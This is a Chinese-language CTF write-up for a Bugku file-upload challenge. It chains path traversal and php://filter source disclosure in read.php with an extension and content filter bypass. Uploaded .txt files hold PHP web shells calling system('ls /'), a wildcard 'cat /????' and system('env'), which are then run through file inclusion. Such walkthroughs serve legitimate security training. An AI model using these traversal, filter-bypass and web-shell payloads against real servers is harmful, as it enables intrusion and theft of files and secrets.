upload

upload - Bugku CTF
本题是一个文件上传和文件读取漏洞的组合题目。

查看页面源代码发现 /read.php 页面可能存在文件读取漏洞。

/read.php?filename=../../../../../etc/passwd
进行尝试,发现页面有回显,确实存在文件读取漏洞。

也可以使用 file 伪协议读取文件内容。
/read.php?filename=file:///etc/passwd

当然 php 伪协议也是可以的。
我们想要获得主页面源代码来更好地绕过它,但由于主页面是php文件,使用前面两种方法没有办法直接读取到文件内容,这里用 php 伪协议指定 /index.php 为要过滤的数据流,并对其进行base64编码输出。
/read.php?filename=php://filter/convert.base64-encode/resource=index.php

将输出的数据流进行base64解码即可得到 index.php 源代码。
Base64 编码/解码 - 锤子在线工具

除了在线工具,也可以使用 python 来进行解码。

1
2
3
4
5
6
import base64

# 解码Base64字符串
encoded_string = "PGRpdiBjbGFzcz0ibGlnaHQiPjxzcGFuIGNsYXNzPSJnbG93Ij4KCQkJPGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJwb3N0IiBvbnN1Ym1pdD0icmV0dXJuIGNoZWNrRmlsZSgpIj4KCQkJCeWYv+S8meiuoe+8jOS8oOS4queBq++8n++8gQogICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJpbnB1dF9maWxlIiB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWRfZmlsZSIvPgogICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJidXR0b24iIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0idXBsb2FkIi8+CiAgICAgICAgICAgIDwvZm9ybT4KICAgICAgPC9zcGFuPjxzcGFuIGNsYXNzPSJmbGFyZSI+PC9zcGFuPjxkaXY+CgkgIDwhLS1yZWFkLnBocD9maWxlbmFtZT0gIC0tPgo8P3BocAoJZXJyb3JfcmVwb3J0aW5nKDApOwoJLy/orr7nva7kuIrkvKDnm67lvZUKCWRlZmluZSgiVVBMT0FEX1BBVEgiLCAiLi91cGxvNGQiKTsKCSRtc2cgPSAiVXBsb2FkIFN1Y2Nlc3MhIjsKCWlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdCddKSkgewogICAgICAgICR0ZW1wX2ZpbGUgPSAkX0ZJTEVTWyd1cGxvYWRfZmlsZSddWyd0bXBfbmFtZSddOwogICAgICAgICRmaWxlX25hbWUgPSAkX0ZJTEVTWyd1cGxvYWRfZmlsZSddWyduYW1lJ107CiAgICAgICAgJGV4dCA9IHBhdGhpbmZvKCRmaWxlX25hbWUsUEFUSElORk9fRVhURU5TSU9OKTsKICAgICAgaWYocHJlZ19tYXRjaCgiL3BoL2kiLCBzdHJ0b2xvd2VyKCRleHQpKSl7CiAgICAgICAgZGllKCLov5nlj6/kuI3og73kuIrkvKDllYrvvIEiKTsKICAgIH0KICAgICAgIAogICAgICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1wX2ZpbGUpOwogICAgICAgICAgICBpZihwcmVnX21hdGNoKCIvcGhwL2kiLCAkY29udGVudCkpewogICAgICAgICAgICAgICAgZGllKCLor7bvvIzooqvmiJHlj5HnjrDkuoblkKciKTsKICAgICAgICAgICAgfQoKICAgICAgICAkbmV3X2ZpbGVfbmFtZSA9IG1kNSgkZmlsZV9uYW1lKS4iLiIuJGV4dDsKICAgICAgICAkaW1nX3BhdGggPSBVUExPQURfUEFUSCAuICcvJyAuICRuZXdfZmlsZV9uYW1lOwoKCiAgICAgICAgaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkdGVtcF9maWxlLCAkaW1nX3BhdGgpKXsKICAgICAgICAgICAgJGlzX3VwbG9hZCA9IHRydWU7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJG1zZyA9ICdVcGxvYWQgRmFpbGVkISc7CiAgICAgICAgfQogICAgICAgIGVjaG8gJzxkaXYgc3R5bGU9ImNvbG9yOiNGMDAiPicuJG1zZy4iIExvb2sgaGVyZX4gIi4kaW1nX3BhdGguIjwvZGl2PiI7CiAgICB9CgoKPz4="
decoded_data = base64.b64decode(encoded_string)
print(decoded_data.decode('utf-8'))

解码后源代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//...
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(preg_match("/ph/i", strtolower($ext))){
die("这可不能上传啊!");
}

$content = file_get_contents($temp_file);
if(preg_match("/php/i", $content)){
die("诶,被我发现了吧");
}
//...
}
?>

审计源代码发现,该网站对上传文件的后缀名进行了正则表达式的检测,含有“ph”的文件后缀名回显“这可不能上传啊!”,对文件内容也进行了检测,对含有“php”的内容的文件则回显“诶,被我发现了吧”。

同理获取/read.php的源码,发现存在文件包含漏洞且过滤路径中的 flag 关键字,其中include() 函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。

1
2
3
4
5
6
7
<?php
$a=$_GET["filename"];
if(preg_match('/flag/i',$a)){
exit("nononono");
}
include($a);
?>

新建 txt 文件,内容如下。
<?= system("ls /"); ?>

绕过 index.php 对文件内容和文件后缀的限制,上传后得到文件存储路径,并在 read.php 页面利用文件包含漏洞读取前面上传的 txt 文件,发现 flag 文件位于目标服务器根目录下。
/read.php?filename=./uplo4d/dd7ec931179c4dcb6a8ffb8b8786d20b.txt

回显如下。
bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var var

新建新的 txt 文件,利用通配符的方式来绕过 read.php 对文件内容的限制,内容为<?= system("cat /????"); ?>,重复上述步骤,得到提示flag在环境变量中。
Flag is in the environment variable --From a warrior who asked not to be named

最后一个 txt 文件内容为<?= system("env"); ?>,重复上述步骤,得到 flag 。
0xGame{upl0ad_f1le_causes_danger!!!}